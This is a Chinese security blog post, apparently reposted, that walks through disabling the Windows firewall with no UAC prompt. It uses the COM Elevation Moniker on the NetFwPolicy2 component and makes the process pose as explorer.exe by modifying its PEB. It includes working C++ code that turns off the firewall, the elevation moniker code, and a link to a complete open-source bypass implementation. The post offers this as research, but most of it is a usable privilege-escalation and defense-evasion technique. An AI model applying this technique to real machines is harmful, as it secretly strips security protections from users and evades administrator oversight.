通过 COM 组件 NetFwPolicy2 越权关闭防火墙

发布于 2024-09-20 11:48:50 字数 7796 浏览 6 评论 0

0x00 前言

在上篇文章 《通过 COM 组件 IFileOperation 越权复制文件》 介绍了通过 COM 组件 IFileOperation 越权复制文件的三种方法,我们得出一个推论: 对于 explorer.exe(或是模拟成 explorer.exe),加载高权限的 COM 组件不会弹出 UAC 的对话框

那么,这个推论是否适用于其他 COM 组件呢?又有哪些 COM 组件可以利用呢?

本文将要通过 COM 组件越权关闭防火墙的方法,详细记录研究过程

0x01 简介

  • 寻找可以高权限运行的 COM 组件
  • 编写 c++程序实现关闭防火墙
  • 添加代码以高权限运行 COM 组件
  • 添加代码模拟进程 explorer.exe
  • 开源完整实现代码

0x02 寻找可以高权限运行的 COM 组件

通过 COM 组件 IFileOperation 实现越权复制文件有一个前提: COM 组件能够以高权限运行

对于 IFileOperation,它提供了一个参数(SetOperationFlags) 可以指定启动的权限

官方文档:https://msdn.microsoft.com/en-us/library/bb775799.aspx

为了找到其他可以高权限运行的 COM 组件,我们首要的是寻找能够以高权限运行 COM 组件的方法

经过查找,我找到了一个资料,利用 COM Elevation Moniker 能够以高权限运行 COM 组件

官方文档:https://msdn.microsoft.com/en-us/library/windows/desktop/ms679687(v=vs.85).aspx

通过学习官方文档,发现 COM Elevation Moniker 的使用对 COM 组件有如下要求:

  1. 该 COM 组件被注册
  2. 注册位置在 HKEY_LOCAL_MACHINE 下,也就是说,需要以管理员权限注册这个 COM 组件才可以
  3. 注册表 HKEY_LOCAL_MACHINE\Software\Classes\CLSID 下需要指定三项键值
    • {CLSID}, LocalizedString(REG_EXPAND_SZ):displayName
    • {CLSID}/Elevation,IconReference(REG_EXPAND_SZ):applicationIcon
    • {CLSID}/Elevation,Enabled(REG_DWORD):1

注:经过实际测试,以上三项缺一不可

接下来,按照这个要求搜索注册表寻找可用的 COM 组件

搜索位置: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID

搜索关键词: Elevation

经过一段时间的搜索,我找到了一个可用的 COM 组件,位置: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}

信息如下图

Alt text

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}\Elevation 的信息如下图

Alt text

满足 COM Elevation Moniker 的要求

通过搜索名称“HNetCfg.FwPolicy2”发现这个 COM 组件同防火墙的操作有关

0x03 编写 c++程序实现关闭防火墙

对应 COM 接口 INetFwProfile ,于是查找资料尝试编写 c 程序实现

通过 COM 接口 INetFwProfile 关闭防火墙的完整 c++代码如下:

#include "stdafx.h"
#include <Strsafe.h>
#include <windows.h>
#include <netfw.h>

int _tmain(int argc, _TCHAR* argv[])
{
    INetFwMgr *g_pFwMgr = NULL;
    INetFwProfile *g_pFwProfile = NULL;
    INetFwPolicy *g_pFwProlicy = NULL;
    CoInitializeEx(NULL,COINIT_MULTITHREADED);
    VARIANT_BOOL fwEnabled;
    HRESULT hr = CoCreateInstance(__uuidof(NetFwMgr), 0, CLSCTX_INPROC_SERVER,__uuidof(INetFwMgr),reinterpret_cast<void **>(&g_pFwMgr));
    if (SUCCEEDED(hr) && (g_pFwMgr != NULL))
    {
        hr = g_pFwMgr->get_LocalPolicy( &g_pFwProlicy );
        if (SUCCEEDED(hr) && (g_pFwProlicy != NULL))
        {
            hr = g_pFwProlicy->get_CurrentProfile( &g_pFwProfile );
            hr = g_pFwProfile->get_FirewallEnabled(&fwEnabled);
            if (fwEnabled != VARIANT_FALSE)  
            {    
                printf("The firewall is on.\n");  
                hr = g_pFwProfile->put_FirewallEnabled(VARIANT_FALSE);  
                if (FAILED(hr))  
                {  
                    printf("put_FirewallEnabled failed: 0x%08lx\n", hr);  
                    return 0;
                }  
                printf("The firewall is now off.\n");  
            }  
            else  
            {  
                printf("The firewall is off.\n");  
            }  
        }
    }
    return 0;
}

程序首先读取防火墙配置,如果防火墙的状态是开启,尝试对其关闭

当然,需要管理员权限执行,执行后失败,弹框如下图

Alt text

接着查找问题,找到原因,官方文档:https://msdn.microsoft.com/en-us/library/windows/desktop/aa365287

原因如下:

[The Windows Firewall API is available for use in the operating systems specified in the Requirements section. It may be altered or unavailable in subsequent versions. For Windows Vista and later, use of the Windows Firewall with Advanced Security API is recommended.]

需要换用 Windows Firewall with Advanced Security API,官方文档:https://msdn.microsoft.com/en-us/library/windows/desktop/aa366418

找到关闭防火墙的实例,地址如下:https://msdn.microsoft.com/en-us/library/windows/desktop/dd339606

发现新的 COM 组件为 NetFwPolicy2

实例代码已经很清楚,但为了配合后面会使用到的 COM Elevation Moniker,在结构上需要做一些修改

0x04 添加代码以高权限运行 COM 组件

官方文档:https://msdn.microsoft.com/en-us/library/windows/desktop/ms679687(v=vs.85).aspx

官方文档提供了一个实例,但是需要做一些修改

修改后的代码如下:

    HWND        hwnd = GetConsoleWindow();
    BIND_OPTS3    bo;
    WCHAR        wszCLSID[50];
    WCHAR        wszMonikerName[300];
    void ** ppv = NULL;
    StringFromGUID2( __uuidof(NetFwPolicy2),wszCLSID,sizeof(wszCLSID)/sizeof(wszCLSID[0])); 
    hr = StringCchPrintf(wszMonikerName,sizeof(wszMonikerName)/sizeof(wszMonikerName[0]),L"Elevation:Administrator!new:%s", wszCLSID);
    memset(&bo, 0, sizeof(bo));
    bo.cbStruct            = sizeof(bo);
    bo.hwnd                = hwnd;
    bo.dwClassContext    = CLSCTX_LOCAL_SERVER;
    hr =  CoGetObject(wszMonikerName, &bo, IID_PPV_ARGS(&pNetFwPolicy2));

对于 CoGetObject(),第一个参数为 GUID 对应的字符串,需要指定为 NetFwPolicy2 ,第三个参数做了一个封装,实际为 REFIID riidvoid **ppv

这段代码要放在 CoCreateInstance 函数创建实例之后

我们现在重新分析 0x03 中关闭防火墙的实现代码,官方文档(含实例代码):https://msdn.microsoft.com/en-us/library/windows/desktop/dd339606

关键代码如下图

Alt text

Alt text

调用 CoCreateInstance 函数创建实例被单独写在了一个函数 WFCOMInitialize 中,如果我们在 WFCOMInitialize 中实现了 COM Elevation Moniker 申请高权限,但是在函数返回时无法传出修改的值 void **ppv (函数返回值为 hr),也就是说即使在函数 WFCOMInitialize 中申请到了高权限,跳出函数 WFCOMInitialize 后,回到主函数,后面使用的 COM 组件依然是旧的低权限

所以我们需要对实例代码作修改,将调用 CoCreateInstance 函数创建实例的代码提取出来,放在主函数中

0x05 添加代码模拟进程 explorer.exe

这部分内容在之前的文章 《通过 COM 组件 IFileOperation 越权复制文件》 有过介绍,对应方法 2,可供参考的代码:https://github.com/3gstudent/Use-COM-objects-to-bypass-UAC/blob/master/MasqueradePEB.cpp

修改当前进程的 PEB 结构,欺骗 PSAPI,将当前进程模拟为 explorer.exe

完整代码已开源,地址如下:https://github.com/3gstudent/Use-COM-objects-to-bypass-UAC/blob/master/DisableFirewall.cpp

0x06 小结

本文介绍了通过 COM 组件越权关闭防火墙的思路和实现方法,验证了推论:对于 explorer.exe(或是模拟成 explorer.exe),加载高权限的 COM 组件不会弹出 UAC 的对话框。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

星星的轨迹

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

忆伤

文章 0 评论 0

眼泪也成诗

文章 0 评论 0

zangqw

文章 0 评论 0

旧伤慢歌

文章 0 评论 0

qq_GlP2oV

文章 0 评论 0

旧时模样

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文